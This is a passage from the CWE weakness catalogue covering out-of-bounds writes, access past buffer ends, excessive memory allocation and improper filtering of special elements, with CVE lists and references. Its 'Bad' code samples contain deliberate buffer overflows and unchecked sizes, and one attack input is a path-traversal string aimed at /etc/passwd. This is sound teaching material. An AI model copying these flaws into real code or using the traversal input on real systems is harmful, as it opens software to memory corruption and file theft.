This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 4:

This code applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(Bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 5:

In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to

remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C

(Bad)

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 6:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C

(Bad)

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 7:

The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found.

Example Language: C

(Bad)

```
int main() {
    ...
    char *result = strstr(destBuf, "Replace Me");
    int idx = result - destBuf;
    strcpy(&destBuf[idx], srcBuf);
    ...
}
```

In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.

Observed Examples

Reference	Description
CVE-2023-1017	The reference implementation code for a Trusted Platform Module does not implement length checks on data, allowing for an attacker to write 2 bytes past the end of a buffer. https://www.cve.org/CVERecord?id=CVE-2023-1017
CVE-2021-21220	Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-21220
CVE-2021-28664	GPU kernel driver allows memory corruption because a user can obtain read/write access to read-only pages, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-28664
CVE-2020-17087	Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-17087
CVE-2020-1054	Out-of-bounds write in kernel-mode driver, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-1054
CVE-2020-0041	Escape from browser sandbox using out-of-bounds write due to incorrect bounds check, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-0041
CVE-2020-0968	Memory corruption in web browser scripting engine, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-0968
CVE-2020-0022	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787) https://www.cve.org/CVERecord?id=CVE-2020-0022
CVE-2019-1010006	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). https://www.cve.org/CVERecord?id=CVE-2019-1010006
CVE-2009-1532	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption https://www.cve.org/CVERecord?id=CVE-2009-1532
CVE-2009-0269	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2009-0269
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow. https://www.cve.org/CVERecord?id=CVE-2002-2227
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) https://www.cve.org/CVERecord?id=CVE-2007-4580
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) https://www.cve.org/CVERecord?id=CVE-2007-4268
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist https://www.cve.org/CVERecord?id=CVE-2009-2550
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist https://www.cve.org/CVERecord?id=CVE-2009-2403

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2608
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2610
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2615
MemberOf	C	1366	ICS Communications: Frail Security in Protocols	1358	2524
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2618
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2546
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2621
MemberOf	V	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses	1430	2622

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 3-3		Req SR 3.5
ISA/IEC 62443	Part 4-1		Req SI-1
ISA/IEC 62443	Part 4-1		Req SI-2
ISA/IEC 62443	Part 4-1		Req SVV-1
ISA/IEC 62443	Part 4-1		Req SVV-3
ISA/IEC 62443	Part 4-2		Req CR 3.5

References

[REF-1029]Aleph One. "Smashing The Stack For Fun And Profit". 1996 November 8. < <http://phrack.org/issues/49/14.html> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-90]"Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004 January 0. < <https://seclists.org/vuln-dev/2004/Jan/22> >.2023-04-07.
- [REF-56]Microsoft. "Using the Strsafe.h Functions". < <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN> >.2023-04-07.
- [REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html> >.2023-04-07.
- [REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista >.2023-04-07.
- [REF-60]"PaX". < https://en.wikipedia.org/wiki/Executable_space_protection#PaX >.2023-04-07.
- [REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/> >.2023-04-07.
- [REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://www.redhat.com/en/blog/position-independent-executables-pie> >.2023-04-07.
- [REF-1332]John Richard Moser. "Prelink and address space randomization". 2006 July 5. < <https://lwn.net/Articles/190139/> >.2023-04-26.
- [REF-1333]Dmitry Evtushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. < <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf> >.2023-04-26.
- [REF-1334]D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. < <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/> >.2023-04-26.
- [REF-1335]D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. < <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/> >.2023-04-26.
- [REF-1336]D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. < <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/> >.2023-04-26.
- [REF-1337]Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". 2008. < https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf >.2023-04-26.

CWE-788: Access of Memory Location After End of Buffer

Weakness ID : 788

Structure : Simple

Abstraction : Base

Description

The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

Extended Description

This typically occurs when a pointer or its index is incremented to a position after the buffer; or when pointer arithmetic results in a position after the buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299
ParentOf		121	Stack-based Buffer Overflow	320
ParentOf		122	Heap-based Buffer Overflow	324
ParentOf		126	Buffer Over-read	340

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1218	Memory Buffer Errors	2500

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory <i>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffer's position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i>	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Integrity	Modify Memory Execute Unauthorized Code or Commands <i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64</i>	

Scope	Impact	Likelihood
	<i>bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i>	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C

(Bad)

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(Bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if ( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ( '<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C

(Bad)

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

Reference	Description
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist https://www.cve.org/CVERecord?id=CVE-2009-2550
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist https://www.cve.org/CVERecord?id=CVE-2009-2403
CVE-2009-0689	large precision value in a format string triggers overflow https://www.cve.org/CVERecord?id=CVE-2009-0689
CVE-2009-0558	attacker-controlled array index leads to code execution https://www.cve.org/CVERecord?id=CVE-2009-0558
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information https://www.cve.org/CVERecord?id=CVE-2008-4113
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) https://www.cve.org/CVERecord?id=CVE-2007-4268

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2461
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2546

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM- CWE-788		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

CWE-789: Memory Allocation with Excessive Size Value

Weakness ID : 789

Structure : Simple

Abstraction : Variant

Description

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	770	Allocation of Resources Without Limits or Throttling	1622
PeerOf	B	1325	Improperly Controlled Sequential Memory Allocation	2222
CanFollow	V	129	Improper Validation of Array Index	347
CanFollow	B	1284	Improper Validation of Specified Quantity in Input	2142
CanPrecede	B	476	NULL Pointer Dereference	1139

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Language : Not Language-Specific (Prevalence = Undetermined)

Alternate Terms

Stack Exhaustion : When a weakness allocates excessive memory on the stack, it is often described as "stack exhaustion," which is a technical impact of the weakness. This technical impact is often encountered as a consequence of CWE-789 and/or CWE-1325.

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Memory) <i>Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.</i>	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Phase: Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

Demonstrative Examples

Example 1:

Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

Example Language: C

(Bad)

```
unsigned int size = GetUntrustedInt();
/* ignore integer overflow (CWE-190) for this example */
unsigned int totBytes = size * sizeof(char);
char *string = (char *)malloc(totBytes);
InitializeString(string);
```

Suppose an attacker provides a size value of:

12345678

This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

Example 2:

Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

Example Language: Java

(Bad)

```
unsigned int size = GetUntrustedInt();
```

```
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

Example 3:

This code performs a stack allocation based on a length calculation.

Example Language: C

(Bad)

```
int a = 5, b = 6;
size_t len = a - b;
char buff[len]; // Just blows up the stack
}
```

Since a and b are declared as signed ints, the "a - b" subtraction gives a negative result (-1). However, since len is declared to be unsigned, len is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer buff[len] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.

Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.

Example 4:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.

Example Language: C

(Bad)

```
int proc_msg(char *s, int msg_len)
{
    // Note space at the end of the string - assume all strings have preamble with space
    int pre_len = sizeof("preamble: ");
    char buff[pre_len - msg_len];
    ... Do processing here if we get this far
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

Example 5:

The following code obtains an untrusted number that is used as an index into an array of messages.

Example Language: Perl

(Bad)

```
my $num = GetUntrustedNumber();
my @messages = ();
$messages[$num] = "Hello World";
```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works.

If \$num is a large value such as 2147483648 ($1 < 31$), then the assignment to \$messages[\$num] would attempt to create a very large array, then eventually produce an error message such as:

Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

Example 6:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action. The buffer length ends up being -1 resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

Example Language: C

(Bad)

```
int proc_msg(char *s, int msg_len)
{
    int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
    char buff[pre_len - msg_len];
    ... Do processing here and set status
    return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

Example Language: C

(Good)

```
int proc_msg(char *s, int msg_len)
{
    int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
    if (pre_len <= msg_len) { // Log error; return error_code; }
    char buff[pre_len - msg_len];
    ... Do processing here and set status
    return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```






Observed Examples

Reference	Description
CVE-2022-21668	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). https://www.cve.org/CVERecord?id=CVE-2022-21668
CVE-2010-3701	program uses ::alloca() for encoding messages, but large messages trigger segfault https://www.cve.org/CVERecord?id=CVE-2010-3701
CVE-2008-1708	memory consumption and daemon exit by specifying a large value in a length field https://www.cve.org/CVERecord?id=CVE-2008-1708
CVE-2008-0977	large value in a length field leads to memory consumption and crash when no more memory is available https://www.cve.org/CVERecord?id=CVE-2008-0977

Reference	Description
CVE-2006-3791	large key size in game program triggers crash when a resizing function cannot allocate enough memory https://www.cve.org/CVERecord?id=CVE-2006-3791
CVE-2004-2589	large Content-Length HTTP header value triggers application crash in instant messaging application due to failure in memory allocation https://www.cve.org/CVERecord?id=CVE-2004-2589

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1131	CISQ Quality Measures (2016) - Security	1128	2463
MemberOf		1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2479
MemberOf		1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2486
MemberOf		1308	CISQ Quality Measures - Security	1305	2506
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

Notes

Relationship

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

Applicable Platform

Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	35		SOAP Array Abuse
CERT C Secure Coding	MEM35-C	Imprecise	Allocate sufficient memory for an object
SEI CERT Perl Coding Standard	IDS32-PL	Imprecise	Validate any integer that is used as an array index
OMG ASCSM	ASCSM-CWE-789		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-790: Improper Filtering of Special Elements

Weakness ID : 790**Structure** : Simple**Abstraction** : Class

Description

The product receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	379
ParentOf		791	Incomplete Filtering of Special Elements	1689

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2454

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(Attack)

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(Result)

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(Result)

`/home/user/../../etc/passwd`

which causes the `/etc/passwd` file to be retrieved once the operating system has resolved the `../` sequences in the pathname. This leads to relative path traversal (CWE-23).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1407	Comprehensive Categorization: Improper Neutralization	1400	2553

CWE-791: Incomplete Filtering of Special Elements

Weakness ID : 791

Structure : Simple

Abstraction : Base

Description

The product receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

